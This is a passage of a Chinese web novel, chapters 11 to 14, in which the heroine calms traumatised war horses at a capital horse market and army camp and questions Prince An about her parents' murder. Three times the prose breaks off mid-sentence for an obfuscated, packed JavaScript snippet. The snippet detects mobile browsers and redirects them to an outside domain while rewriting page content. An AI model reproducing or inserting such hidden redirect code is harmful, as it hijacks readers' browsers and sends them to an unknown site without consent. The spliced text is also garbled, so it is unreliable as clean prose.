“他们应该就是昨日盯着我进城的人，如此乔装改扮还能再让他们跟来，极有可能是马帮被监视了。不行，阿雅尔那里不能再久留。”杨洛云思考着二人是杀害父母主使的可能性，一边担忧着自己会给阿雅尔带来麻烦。 稍不留神撞到一个人的背上，杨洛云慌忙道歉。 一抬头，看清此人正是柳姑娘，杨洛云不好意思地挠挠头：“其实刚才姑娘已经猜出我的故事是胡编而来，为何还愿意出钱买下银饰？” 柳姑娘背着两把杀猪刀，闻言抱紧装着银饰的背篓：“同为女子，我知晓你有自己的苦衷。况且，这银饰我的确喜欢，总觉得似曾相熟。” 玉京城内白夷族的东西并不多，银饰更不常见。杨洛云心有疑惑，和柳姑娘交换了住址，又买下她手头剩余的一块肉，道别离开。 回到客栈，阿雅尔看着杨洛云的雪木族装扮，满眼惊艳：“我本以为只有我月泉邦族的服饰能穿出这么动人的效果，现在看来，你们滇南可真是卧虎藏龙。” “也只有你能不带偏见地欣赏这‘披星戴月’的美了。你都不知道，我往城东商铺走过的时候，那些掌柜的眼神，个个都像在看丧门星。”杨洛云朝阿雅尔吐吐舌头。 “大概是看你这披肩太素了吧哈哈哈。” 二人说说笑笑着来到桌边准备用膳，瞧见站在一边不自在地抠着手指的知韧，阿雅尔温声对她说：“过来坐下，和我们一起吃。” 知韧有些胆怯地挪过来，想起自己现在的身份，又思及阿雅尔干脆直爽的性子，她努力挺直腰板，坐下学着二人的动作开始吃饭。 晌午过后，杨洛云拿着早晨赚得的银钱，寻着玉京城的房屋租赁处而去。 正在教知韧打算盘的阿雅尔抬头看着杨洛云走远的身影，知晓她的顾虑，暗自叹气。 杨洛云从来没有想过，玉京城的房屋价格如此高昂。她从上到下、从左到右一遍遍阅读着租赁榜上的房屋信息，一盏茶后，灰溜溜地离开。 “还得想办法再赚些银子。”杨洛云如是思忖。 珠宝集市虽然可以快速得钱，但时日久了难免会引起同行的效仿和官府的注意。加之这种给珠宝赋予故事的方法一次两次尚且可行，一旦次数过多，故事的真实性也就不复存在。 “能否走药堂这个方向？自己没有白露熟稔，不如过后交予白露。” “至于其他……或许可以去马市探探！” 说干就干，杨洛云往城南的马市走。 11. 抚惊定狂 城南马市，今日是每季一次的休市日。 杨洛云打量着马市木桩上刻着的工作表，有了在马市做相马师的打算。 为了探听更多马市消息，杨洛云给守门人递了一盒马帮自产的香料。 “我们这儿的马，不供皇家御用，只给百姓租用或者商队补给。有日租月租，也有直接买走的。”守门人打开装香料的盒子，凑近鼻端轻嗅，爱不释手。 “这些马匹是从何处运来的？”要想进一步了解马的讯息，需要从马的品种和其生长环境入手。 “哪里都有，只不过大多是中年、老年马了，还有几匹是几年前从战场上退下来的战马。现在的小驹都会先送去宫中给贵人挑选，选好便养在皇家马场，剩下的马送往玉京城外的神威营供岳将军的人挑选，最后未被选中的才会到我们民间马市。” “保家卫国可是大事，优等的战马不应该从小驯养，最起码也先给军营挑选吗？”杨洛云有些摸不着头脑。在她看来，马匹的优劣事关战争胜败，这样的道理，她不相信皇帝不懂。 “最近十几年间天下太平，少有战事，陛下可不就放松了对马匹的管理嘛。哎哟，这只是我个看门的愚见，算不得数，算不得数。”守门人话说一半反应过来，慌忙找补，生怕引来麻烦。 杨洛云心中暗忖：“怕是朝廷有人故意为之，哄骗皇帝，造成太平盛世的假象吧。”思及滇南周围邻国近年蠢蠢欲动的表现，她对如今皇帝的居安不思危感到担忧。 “对了，若是姑娘你想要相马，紧着马棚里那些挑就是。最右侧马厩单独照看的那匹马可万不能靠近。”守门人想到什么，连忙补充道。 “为何？”杨洛云觉得稀奇，滇南云岭的马几乎都是放养和群养，从未出现过单独饲养的情况。 “那匹马是前些年从战场上退下来的，跟着安王打退过百越的那批。只是不知受了什么刺激，时不时就会发狂。哎，我们请了玉京多少有名的驯马师来看都不见效，就连那位岳将军也亲自来过。” “只有那一匹马有这样的情况吗？”杨洛云追问。 她了解马，如若不是先天患有疾病或是后天受过刺激，正常的战马是不会突然展现出发狂迹象的。若是在战场上受过刺激，通常不会只有一匹马出现发狂症状，而应该是群体现象。 “我们马市里只有这匹，和它同批的战马都在城外军营里。岳将军给它们安排了最好的马场调养恢复，想着若还是不行，在那里颐养天年也是好的。”守门人端起茶水润润喉咙，接着解释：“这匹马的主人是我们马市的东家，他和马感情深厚，时常带它出去散心。城外军营不方便，就暂时养在我们这里了。” 杨洛云大致了解完马市的情况，由守门人带着来到马棚前。 马棚的环境整体不错，杨洛云又看看日常草料和驯马工具，准备告辞。 临走前，她特意向最右侧瞟了瞟，视线范围内并没有看到那匹马的身影。 暮色深沉，客栈早已挂起灯笼照明。 将租赁房屋一事向阿雅尔说明后，杨洛云径自朝自己的房间走去。她要梳理未来几日在马市需要做的事，顺便计算多久后才能拥有在玉京城租赁的房子。 “阿云，反正我这次在玉京要待两月，你不必如此着急租房，先把钱攒够。至于我这里，反正有利息，先给你赊着账，日后慢慢还我就是。”阿雅尔的声音从身后传来。 杨洛云想了想，转身回到阿雅尔跟前，把自己怀疑被监视的事情告知。 “就这事呀，你不必忧心。玉京城本就处处是眼线，被盯上是或早或晚的事。” 看着阿雅尔不以为意的模样，杨洛云怕多说徒增她的担忧，点点头回房。 翌日，还未等到鸡鸣，客栈就只剩下阿雅尔一行。 马帮的其余五人昨晚被杨洛云分别安排了任务：白露去药材铺子和医馆打听；阿虎到菜市口探市场价格；阿木叔尝试给留在云岭的马帮兄弟传递消息；其余两人效仿昨日杨洛云之法去珠宝集市售卖。 杨洛云一早就到了昨日的城南马市。守门人是轮流当值，今日换了一个年纪较大、有些耳背的老人。 早晨的马市热闹非凡，有打算租赁马匹几日的普通城人，也有在仔细打量准备选一匹最好的马作为远行伙伴的旅人，还有大批量挑选马去运送货物的商贩。 杨洛云在人潮中穿梭，时不时给相马者一些建议。 她的举动很快提升了马市交易的效率，一直到正午，马市已经把以往一日的交易额达成了。 看着手中的账册，掌柜激动地来到杨洛云跟前：“姑娘当真厉害！是否深谙相马和推销之道？有无意向来我们马市寻一份差事？” 玉京城里的各类营生从不拘泥于性别，只有能力，就能被东家千方百计留下来。 杨洛云等的就是这句话，她没有刻意摆架子，按照正常的劳务费用开价，先和掌柜签订了七日的当差文书。 掌柜看杨洛云那是越看越欢喜，趁着晌午休息时间，忙不迭把签到一个高超的相马师之事去向东家禀报。 杨洛云一直在马棚附近溜达，哪怕用膳也端着碗蹲在棚前吃。她一直在等，等最右侧单独饲养的马出现。 一直到夕阳西斜，送走最后一位客人，始终不见那匹马的身影。 在杨洛云几乎怀疑根本就没有那匹马时，马市东家一身骑装来到了马棚前。 杨洛云学着掌柜的动作朝男子行礼，而后就见男子轻手轻脚走进最右侧的马厩。 一匹浑身黝黑的马缩在一堆稻草后面，认出男子的身份，它晃晃悠悠靠近男子，用头蹭蹭男子的手掌。 “这是一匹极通人性的良驹。”杨洛云心中有了结论，眼睛一眨不眨地观察着马匹的动作。 男子将黑马缓慢地牵出马市，一人一马的影子被夕阳的光投在石板路上。城南街道上几乎没有了路人，饭菜的香味从家家户户的烟囱里飘出，勾人馋虫。 一连几天，杨洛云都能在傍晚时分遇见马市东家带着马离开，她也逐渐观察到这匹马在不同情境下的反应。 大多数时候，它都安静地缩在马厩草堆后，若不是见男子用语言下达指令时它会有反馈，杨洛云都要怀疑黑马是否失聪了。 黑马反应最为激烈的时段往往是马市人流最多、发出声响最大的时候，这也是东家特意挑人少安静的傍晚带它出门的原因。 杨洛云将马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276325|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的举止详细地记录在随身小册子上，关注这匹马的时间越久，她就越想更进一步了解它。 风平浪静的马市在杨洛云当差的第六天掀起波澜。 起因是一名壮汉带着妻儿租赁马准备回乡，还未离开玉京城，那马就将背上壮汉的妻儿甩翻在地。妇人和孩子受了不同程度的伤，幸而并不致命。 掌柜赔礼道歉，退回租赁银又补偿了许多医药钱。壮汉却死活不走，硬是闹着要去官府讨说法。 “若不是你狠狠抽打马，又在它即将提速时拼命拽住缰绳，怎会发生这样的祸事？”守门老人实在看不过眼，悄声插话。 眼看马市不理会自己，壮汉气恼万分，从路过的更夫手上抢过铜锣，对着马市就是一顿乱敲。 这样的声响成功引起了周围百姓的注意，但也刺激了最右侧马厩里的那匹黑马。 黑马嘶鸣着踏破围栏冲出马市，一路上撞翻不少小贩的摊位。 掌柜急得满头大汗，一边忙着赔偿损失，一边担忧黑马跑丢，还得抽空安抚住叫嚣的壮汉。 杨洛云从马棚中牵出一匹最似滇马的小马，紧追黑马而去。 看着少女和黑马消失的方向，掌柜下意识松口气，随即想起黑马发狂的场景，又火急火燎遣人去向东家汇报。 杨洛云在古道长年骑滇马，与其他马匹相比，滇马体型更小巧，耐力更出色，性情温顺易驯服。 身下之马虽不是滇马，但各方面与滇马极为相似，杨洛云上马不久便完全掌握主导权。她驾着马一路狂奔，终于在玉京城东面的延兴门外不远处追上了黑马。 黑马许是有旧伤，加之刚才跑得又快又急，没多久就放慢脚步停在一处小溪旁。它好似还没有从惊吓中缓过神，焦躁地来回踱步，不时打着响鼻发出警告，对身旁的一切都充满警惕。 放弃直接靠近的想法，杨洛云在距黑马几步外蹲下，一边哼着云岭十八骑的马调，一边从腰间取出马帮特制的薄荷香囊。 温柔的音调和温和的气味让黑马放松下来。杨洛云缓缓起身，一边试着靠近一边向它伸出手，当黑马感到不适时她的手就停在半空，直至成功抚摸上黑马的额头。 不知过了多久，天色渐渐暗下来，黑马终于接受了杨洛云的靠近。 马市东家赶到延兴门时，看到的就是杨洛云一边抚摸着黑马的头，一边引导它往城内走，另一匹小马则乖顺地跟在少女身后的情形。 男子震惊得说不出话来，他望着黑马随杨洛云一步步向自己走来，止住差点掉下的眼泪。 将黑马安全送回马厩，杨洛云跟着东家来到了一处僻静的小院。 “可不可以告诉我，你是怎么做到的？”男子控制住情绪，迫不及待想得到答案。 “马和人一样，都需要安全感，尤其是经历过特殊场景、有心理创伤的马。”杨洛云将自己如何安抚住黑马的经过详细讲给东家听。 说完，她解下那枚薄荷香囊，塞进男子手中：“如若它有不受控制的情况，可以试试戴上这个。当然，我不希望今天的事还会发生。” 男子眸中闪过什么，送走杨洛云后，他向掌柜要来杨洛云的当差签订文书，朝安王府快步走去。 12. 旧骑识君 “不可，本王不同意让她去照顾逐风。”晏邃安语气里透着深深的不安，逐风是他的战马，从战场回京后就变得极易敏感、狂躁。 “殿下，属下认为杨云川于驯马、安马之道很有天赋。您看，就连我的随云也愿意让她接近。自百越一战后，除了我和您，随云未曾让第三个人接近过。”男子恳切地说。 他就是马市的东家，也是晏邃安的属下、神威营的副统领景和。随云是马市单独饲养的那匹黑马。 杨洛云入玉京城后，一直以“云川”之名示人。晏邃安知晓她的真实身份，对她还没有彻底卸下心防。 “若您信不过，可以先跟去瞧瞧。逐风的情况比随云还差许多，若一再拒绝它和陌生人接触，恐怕日后真的很难再恢复正常。”景和话中满是担忧。 他是晏邃安在城南马市的暗线，平日里除了和萨迪克对接往来贸易、补给商队马匹之外，也在不停地寻找能够将当年那些随军出生入死的战马治好的人。 “只给她一日时间，若逐风不排斥她的靠近，本王可以答应让她试着照顾逐风。”晏邃安松口。 “殿下英明！”景和激动地离开安王府。在他看来，晏邃安愿意让杨洛云尝试，已经是意外之喜了。毕竟当年战场一事，不仅给存活下来的战马留下了伤，也在每一个将士心里留下了痛。 晏邃安平日不曾表露，但身边亲近之人都知晓，他的心结比谁都重，不然也不至于获胜归来后，被多年都未曾复发的病症再次困扰。 想到晏邃安的病，景和深深叹口气。 杨洛云被安排去城外军营照顾战马时并不意外，她本也存着找机会接近其他受过刺激的战马的念头。 景和在耳畔千叮咛万嘱咐：“去了神威营，未经允许，不得随意张望。见到逐风后，无论它是何反应，都不能下重手，还有……” “昨夜我和您讲述安抚随云的经过，您听见我下重手了吗？” 让杨洛云再三保证之后，景和这才领着她前往神威营。 进军营前，他又想起什么，补充道：“军中所见，无论何事，离开后都不能向外人提及。” 杨洛云实在受不了他的念叨，径直走进军营。她前几日怎么没发现，马市东家是个和老妈子有得一拼的人呢？ 到了马场见到逐风之后，杨洛云先前轻松的心情一扫而空。 逐风的情况比随云糟糕不少。随云最起码能够静静待在稻草后面，逐风除了睡觉和累到晕厥外，它几乎无时无刻不处于受惊的状态。 看着逐风瘦得只剩皮包骨的模样，饶是杨洛云也不禁心疼得流泪。 她尝试着靠近逐风，只是抬腿的一个小动作，逐风便已经开始挣扎——它被绳子紧紧禁锢在马场的角落里，军营中人害怕它不停挣扎的动作会损伤关节。 “先帮它的绳子解开。”杨洛云出声示意一旁的小兵。 “可是……”小兵面露迟疑。 “今日本就是它的主人允许我尝试靠近它，劳烦诸位配合我的要求。”杨洛云语气里透着不容置疑的威严。 景和看了一眼不远处的晏邃安，见他并没有反对的意思，给小兵使个眼色。 解开束缚后，小兵安静离开，逐风则开始在马场里奔跑。 杨洛云观察着它的一举一动，和昨日接近随云一样，先拿出特制的薄荷香囊系在腰间，接着开始哼唱起云岭的马调。 逐风放慢了奔跑速度，它的耳朵稍动，似乎在回应杨洛云的歌声。 径自于马场中央盘腿坐下，杨洛云口中歌声不停。她掏出给随云记录的册子，将前几日观察到随云的反应逐一复盘，接着一条条对照观察逐风。 开阔的马场上，少女和战马单薄的背影构成了一幅美好的画面。 晏邃安看着少女的进展，一直紧攥成拳的手缓缓松开。 杨洛云将所有记录和逐风比对完，明显找到两匹马共同的特点——较为巨大急促的声响是它们发狂的诱因。 半日过去，杨洛云没有离开过马场中央，亦没有任何多余的动作。逐风跑累了，在洛云的歌声里停下来，驻足四望。 晏邃安隐在离马场最近的军帐后，头戴的黑纱斗笠在军帐上投下跃动的影子。 逐风好似感知到他在附近，一直朝他所在方向伸长脖子寻找。 趁着逐风分神，杨洛云抓住时机，往它所在方向挪了挪。 少女坐在马场中央许久，逐风已经接受了她的存在，只是察觉其靠近的意图，又有些焦躁起来。 杨洛云换了一首曲调，唱了大半日，她发出的声音不再像先前那样好听，但却不失温柔。 一点点向逐风靠近，杨洛云如同昨日第一次抚摸随云的额头一般，动一下、观察一下，逐风渐渐习惯了她的动作。 终于，杨洛云成功挪到距离逐风三步远的地方。 原本平静下来的逐风突然再次烦躁起来：它开始绕着马场疾走，若杨洛云朝它所在的方位移动，它便本能奔跑起来。 军帐内，景和有些泄气。眼看少女就快成功靠近战马，逐风却还是如一开始的样子加速跑离。难道真的没有其他办法了吗？ 景和偷偷用余光瞟着帐外的晏邃安，见他身体忽地向前一探，又生生止住。 疑惑转头，景和见到了让人心惊胆战的一幕：杨洛云仍然执着地朝逐风靠近，战马肉眼可见地被逼到极点，它不再后退，猛地加速奔向洛云。 想象中的惨案没有发生，杨洛云冷静地快速蹲下，任由逐风从自己身上跃过。 战马没有存心要攻击洛云，只是即将落地、后蹄回收的时候，蹭落了她发间的银簪。 簪子坠地，一头青丝垂落。 杨洛云没有立刻盘发，她似乎想到什么，开始一件一件从身上卸东西：先是把随身携带的匕首扔到地上的银簪旁，解下腰上缠着的鞭子，接着取下剩余的发饰和银耳坠，又脱掉外衫，再到长裙，甚至连鞋袜也一并脱下。 卸到最后，杨洛云全身上下就只着一套单衣。 景和从她开始脱鞋袜时就别开头，晏邃安虽有黑纱遮挡，还是闭上了眼。 少女不再哼唱，用一种哄孩子的语气对逐风道：“你看，我现在浑身上下都没有任何尖锐的东西了，不会伤害你。我只是想摸摸你的鬃毛，可以吗？” 逐风远远望着杨洛云的动作，少女直视马儿的双眼，将方才的话重复一遍，说完便赤足向逐风走去。 逐风没有再扬蹄奔跑，它出奇地乖巧，静静站在原地。 摸到战马鬃毛的一瞬，杨洛云觉得似在做梦。这些年与无数滇马打交道，从来没有一刻让她觉得，能够正常地抚摸马鬃是件无比幸福之事。 军帐里外的两名男子许久没有听见脚步声，抬头望去，景和眼泪瞬间滚落。他压低声音却难掩语气里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276326|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴奋：“殿下，她做到了！她在一日内被逐风成功接纳了！” 晏邃安没有吭声，此刻只有他自己清楚，怦怦的心跳原来可以震耳欲聋。 颤抖着签下手中的文书，杨洛云心中百味杂陈。 她获得在神威军营里照看逐风和其余战马的差事，只需干满二十日，自己和马帮兄弟就能在玉京城租上屋子！ 接过当差签订文书，景和好奇地向杨洛云询问：“姑娘之前为何要脱掉衣裳，只剩……只剩一件中……中衣？” 这个问题有些羞窘，他磕磕绊绊问完，自己先不好意思地低下头。 杨洛云看着他的模样有些好笑，她不觉得这样做有什么值得脸红：“因为我发现，逐风除了和随云一样惧怕巨响，还害怕反光之物。嗯……准确来说是一切坚韧的、会对它构成伤害的物品。” 觉得不够详细，她又补充：“我把鞋袜也脱下，是向它展示自己的诚意——赤足和它一样，没有别的威胁。” 其实杨洛云成功最重要的一点在于，她对马有种天生的直觉和共情能力。经过与滇马多年的相处，这种能力更加深化，让她比寻常人更容易捕捉到马的肢体语言，从而能够了解马的心理。 “之前是否请驯马师来驯导过逐风，还不止一次？”杨洛云反问。 “是。先前找过近十人，毫无成效不谈，甚至有些弄巧成拙。”景和惭愧低头。 “这就对了，我一直觉得逐风不是单纯抵触人靠近。它本就在战场上留下过阴影，你们不仅没有给他提供抚慰，反而让人有意刺激，对它造成二次伤害。”杨洛云越说越气：“驯马师中定是有人动过鞭子或者其他工具想让它服从命令、保持安静。哼，恕我直言，想出用暴力手段来驯导逐风的人就是吃饱了撑的！” 杨洛云的话让景和脊背汗湿，偷偷瞄一眼屏风后的晏邃安，心中祈祷安王能原谅杨洛云的义愤之言。毕竟当时是晏邃安请来驯马师，他狠不下心对逐风，便希望驯马师能够让逐风安静。 回忆起晏邃安得知逐风情况恶化，见到被鞭打后的逐风时那种自责、心碎的表情，景和连忙岔开话题：“不知姑娘日后，能否尝试引导逐风和其他战马一起克服恐惧？” “会尽力一试。”杨洛云明白，对于战马而言最好的归宿，是和主人一起在战场浴血奋战。哪怕是死，也要倒在战场之上。 现在的逐风和其他战马，正常的指令尚无法执行，若是一直没有好转，将是对它们及其主人最大的酷刑。 目送杨洛云离开的背影，晏邃安从屏风后走出。月色笼罩着军营，他没有再戴斗笠，只是脸色似乎比平日苍白不少。 “殿下，您还好吗？”景和试探地问。 “明日起，你和岳将军轮流盯着杨云川，若有对逐风不利之举，务必及时阻止。” 想了想，晏邃安又改变主意：“罢了，她不会对逐风不利，是我太过忧心。” 晏邃安连自称都没用，下意识以“我”来表述。 望着他不同寻常的状态，景和不放心地请来军医。 另一边，告知完众人，自己要去军营当差小住，收拾好行囊、打点好接下来几日的事务，杨洛云躺在床上想着心事。 她知晓今日有一人从头至尾都未曾露面。能够让景和对其言听计从，会是跟踪她的那人吗？逐风对其时刻关注，大概率只有它的主人了……安王？真的是安王吗？ 13. 鉴心交诚 晏邃安一连几日未曾露面，安王府气氛压抑紧张。 神威营中，岳横波已经观察杨洛云许久。 军营新来的这位女驯马师，让不少将士都感到好奇。赶走一群在马场外探头探脑的小兵，岳横波对杨洛云语气不善：“你莫要发出些奇怪声响，我手下兵卒无法专心训练。” “我驯导我的马，你教导你的兵，似乎没有哪条规定要求我对你言听计从。”杨洛云擦擦手中叶片，准备接着靠近唇边吹奏。 岳横波气不打一处来。她是镇北侯嫡女，自幼习武、擅使长枪，凭借真刀真枪、实打实的本领当上神威营统领。军营里人人对她崇敬有加，这还是第一次有人不把她放在眼里。 “逐风是安王殿下的旧骑，怎么能算你的马？” “安王准允我来引导逐风和其他战马克服心病，如何行事是我的自由。再说，岳将军的兵连这样的声响都能被影响，委实没有定力，您更得加强训练才是。” “你！”岳横波语塞，转身气哼哼走远。 杨洛云扫过她的背影，唇角微翘：“这样的性子能做军营统领，当真是运气好。” 岳横波一脸怒容回到营帐，景和瞧她臭着脸，出声调侃：“不知是谁能惹我们岳将军生这么大火气，在下佩服。” “你还好意思问，除了那个杨云川还能有谁？你把她带到军营里，我还没找你景副统领麻烦呢！” 景和一边赔笑一边倒水：“来来来，喝杯茶消消火气。她虽说话难听，但这几日逐风好转，你不也是看在眼里吗？” 想到逐风先前和近日简直天差地别的状态，又思及晏邃安的情况，岳横波火气全无。她向来爽快，心中除了打仗便只有安王布置的任务。 晏邃安是岳横波的偶像，也是她习武路上的引路人。连镇北侯都时常感叹，晏邃安的命令在岳横波那里，比他这个做父亲的还管用。 “殿下如何？展锋没有消息过来吗？” “说是已经醒了，只是老毛病似乎越来越严重。”景和的声音越来越低，一语毕，帐中被沉默包围。 眼见逐风和随云听话地朝自己的方位奔来，杨洛云从竹篓里找出两根胡萝卜作为奖励，转头看向其他战马。 根据景和的讲述，百越一战，大军被困峡谷中时，敌人还在周围埋下过无数火药。 杨洛云想，爆炸声、战鼓声、刀剑相撞声、箭矢破空声等等，或许都是造成战马心中阴影的声源。目睹同类惨死、被困狭窄地形、过度体力消耗与营养不良也让它们身心受着双重折磨。 她如今换着花样，用不同的声音引导战马尝试脱敏，若效果不错，还可以慢慢增加训练量。 二皇子府，晏晦明将手中的密报狠狠撕碎。 十几日前就在各城门都张贴过杨洛云的画像，至今仍然未见其踪影。 “钦天监真是不堪大用，迷魂凼这样好的机会都能错过。如今杨洛云定是已经进城，玉京有父皇的沧溟卫在，暗地动手难度只会更大。” “殿下莫急，既然人在城中，便能寻到机会。”幕僚轻声劝慰。 “也罢，先加大探查力度，找到人在何处。无论如何，本王定要拿到另外半块玉符。” 说话间，侍从入内禀报：“太子殿下最近在筹划动身前往北境，安王爷几日前旧疾复发，丞相那边没有其他消息。” “北境……看来太子有拉拢藩王的打算。”顿了顿，晏晦明侧身对幕僚道：“本王先前就说，皇叔自战场回来便沉迷享乐，现在旧疾复发更是无暇参与党争。先生不必再费心试探皇叔，盯紧太子和丞相才是要紧之事。” 幕僚躬身应是，心中却仍觉得安王不像表面这么简单。 “再过一月就是端妃生辰，父皇大概会按例举办家宴。先做好准备，本王要赶在太子开口前，提出前往北境视察。”晏晦明狡黠地看向侍从。 日子过得飞快，杨洛云转眼就在神威营待满了二十日。 “你是怎么做到的？”再一次目睹逐风听话地执行完杨洛云的指令，岳横波凑近套话。 “岳将军不是一直都在看着吗？”杨洛云反问。 “我说的是你的耐心和毅力。能让逐风和随云情绪稳定下来并听令行动是极难之事，我先前几次都以失败告终。”岳横波有些沮丧。 “岳将军是如何十年如一日练习枪法上阵杀敌，我便是如何坚持下来的。” 岳横波抬头畅快一笑：“你真是个有趣的人！” “很多人都这么说过。”杨洛云丝毫不谦虚，大大方方承认。 “我原本觉得蛮夷粗鄙，不堪深交，但你杨云川是个例外！” “彼此彼此，岳将军亦是我在玉京城第一个愿意深交的汉人。” 二人相视一笑。 确认租赁住房的银钱已经足够，杨洛云向景和告假离营。 “云川姑娘，租赁办妥后可一定要回营呀！”景和用讨好的语气对她说。 逐风、随云以及其他战马在杨洛云的驯导下见效颇佳，已经能正常面对陌生人的靠近，只是对于声响和尖锐之物还有些许抵触。 “当然，我不是半途而废之人。”杨洛云瞥景和一眼，快步往玉京城走去。 回到客栈，阿雅尔率先迎出来：“我瞧瞧，阿云有没有掉几斤肉。” 杨洛云微笑着任她打量。 “嗯，瘦倒是没瘦，就是这肤色似乎比我还要健康！”阿雅尔语气里满是兴奋，拿着镜子照照自己又比比杨洛云。 看她因为找到比自己肤色更黑的女子而高兴的傻样，杨洛云没忍住，扑哧一声笑出来。 “我已经攒够租赁银钱，明日就可以带他们搬去新屋。” “房子是否定下？正好，昨日收到消息，我那甩都甩不掉的麻烦又在月泉邦作妖，商队可能得提前回去。”阿雅尔咬牙切齿。 杨洛云一边打开背包，一边对阿雅尔道：“你放心回去，房子之前就让白露谈妥了。” 掏出几页手稿交给阿雅尔，杨洛云转身回房。 看清手稿上记录的内容，阿雅尔的眼眶渐渐变红——纸张上是工工整整的五首歌谣，最下方是用月泉邦语完整翻译的版本。 与杨洛云同榻而眠那晚，阿雅尔随口提过，自己喜欢随身携带一些桑皮纸，用月泉邦语记录不同的商路歌谣。她想要将所见所闻通通写成册子，带回西域讲给月泉邦族少女听，最好能在她们心中种下一颗种子，鼓励她们走出西域。 她为此向杨洛云埋怨，说自己目前的记录太少，实现梦想简直遥遥无期。 从没想过杨洛云会把她的话放在心上，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276327|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅写了一些关于滇南女商人的歌谣，还请军营里会写月泉邦文的小兵翻译出来。 “这是我收到过最好的礼物”阿雅尔将手稿仔仔细细收好。 鞭炮喧天，杨洛云和马帮五人正式搬入玉京城属于他们的小院。 阿木叔犹豫着，将云岭马帮兄弟的回信递给杨洛云，面上露出欲言又止的神色。 “岂有此理！”杨洛云一目十行读完，信纸被她狠狠攥在手中。 自他们离开后，弩山部的另一队追兵没再追击马帮剩余兄弟。但不久前，木铎以云岭十八骑畏罪潜逃为由，完全接管了滇南茶马古道的控制权。非但如此，还将那晚云骧府被屠之事，归结为朝廷剿匪向各部族说明，甚至拿出了玉京城二皇子府的诏书，宣布古道未来事宜皆有弩山木铎做主。 杀父杀母的仇人一手接管下曾经由马帮创造的一切，杨洛云眼中充斥着蚀骨的恨意。 “二皇子……”杨洛云低声呢喃，或许自己一直怀疑的对象从一开始就是错的。 在神威营和逐风相处这么久，杨洛云直觉，它的主人不会是杀害父母的主使。 “得想办法确认才行。”杨洛云自语。 她把白露叫来，将自己的计划说与白露，收拾完行囊，再次回到神威营。 在军营待满五日，于第六日黄昏时分，杨洛云见到了安王。 晏邃安披着大氅，暮春时节还穿得如此厚实，惹得杨洛云朝他多望了几眼。 他还是戴着斗笠，身形似乎比先前在珠宝集市跟踪自己时削减不少。 “安王殿下。”杨洛云躬身行礼。 “不必多礼，本王来瞧瞧逐风的情况如何。”晏邃安声音低沉，语气听不出任何情绪。 马场中，逐风正有些昏昏欲睡，晏邃安的靠近让它瞬间清醒。它走到晏邃安身边，伸头蹭着晏邃安的手。 看着体重逐渐恢复的逐风，晏邃安眼中湿润。他很快收拾好情绪，朝杨洛云点头示意。 杨洛云走到离逐风三步开外处站定，拿出一个铜锣轻轻敲击。 逐风先是猛地一僵，随后恢复常态，没有出现任何发狂的迹象。 接下来，杨洛云拿出不同物品，逐风都始终安静地站在原地。 全部结束，杨洛云如往常一样掏出准备好的胡萝卜作为奖励，逐风欢欢喜喜接过，走到一旁享受地品尝。 看到这一幕的晏邃安有些怔忡，他从未给自己的战马喂过胡萝卜。在他的印象里，逐风一向对胡萝卜没有任何兴趣。 “殿下，不知逐风的情况您可还满意？”杨洛云的话让晏邃安回过神。 看着少女期待的眼神，晏邃安发自内心道：“多谢。” “还请殿下移步，有几句话在下想单独对您说。” 晏邃安点头，示意杨洛云跟随自己进帐。 “安王殿下，您既已知我的身份，不知能否看在我驯导逐风这么久的份上，告知详情？”四下无人，杨洛云直接开口。 “杨帮主想知道些什么？” “我云骧府被屠、我阿爹阿娘之死，您是否为主使？”杨洛云眼睛一眨不眨盯着晏邃安，声音有些发颤。 “不是。”晏邃安直白且干脆：“你云骧府之事是老二的手笔。” 杨洛云松了口气，她猜对了。 14. 云安盟契 “不知安王殿下是何时知晓我的身份的？”杨洛云有些好奇，能在自己无数次伪装之下，清晰准确认出她的真实身份，晏邃安是玉京城第一人。 “本王自杨帮主纳吉之日起，就开始关注滇南动向。”晏邃安抬手轻咳几声，继续道：“本是去滇南云岭办事，不想目睹在贵府参礼的众人离开一幕。遣人探查得知后，就一直跟着杨帮主一行，直至天堑关。” “所以，我一行途经鬼哭涧时，落下的那箱波斯货物，是殿下的？” 晏邃安思索片刻，想到萨迪克鲁莽的做事风格，点头承认。 “殿下一直盯着我，有何企图？”杨洛云的问题一针见血。 “一开始，本王只想弄清楚老二的意图，他似乎在找什么东西。后来，一路见识了杨帮主的能力，本王就想着能否有机会邀请杨帮主一起合作。如今逐风日益好转，本王欣赏杨帮主的同时，发自内心地感激。” 杨洛云盯着晏邃安的眼睛，见他一番话不似作假，心下盘算起他话里的合作之意。 “殿下和二皇子不对付？” 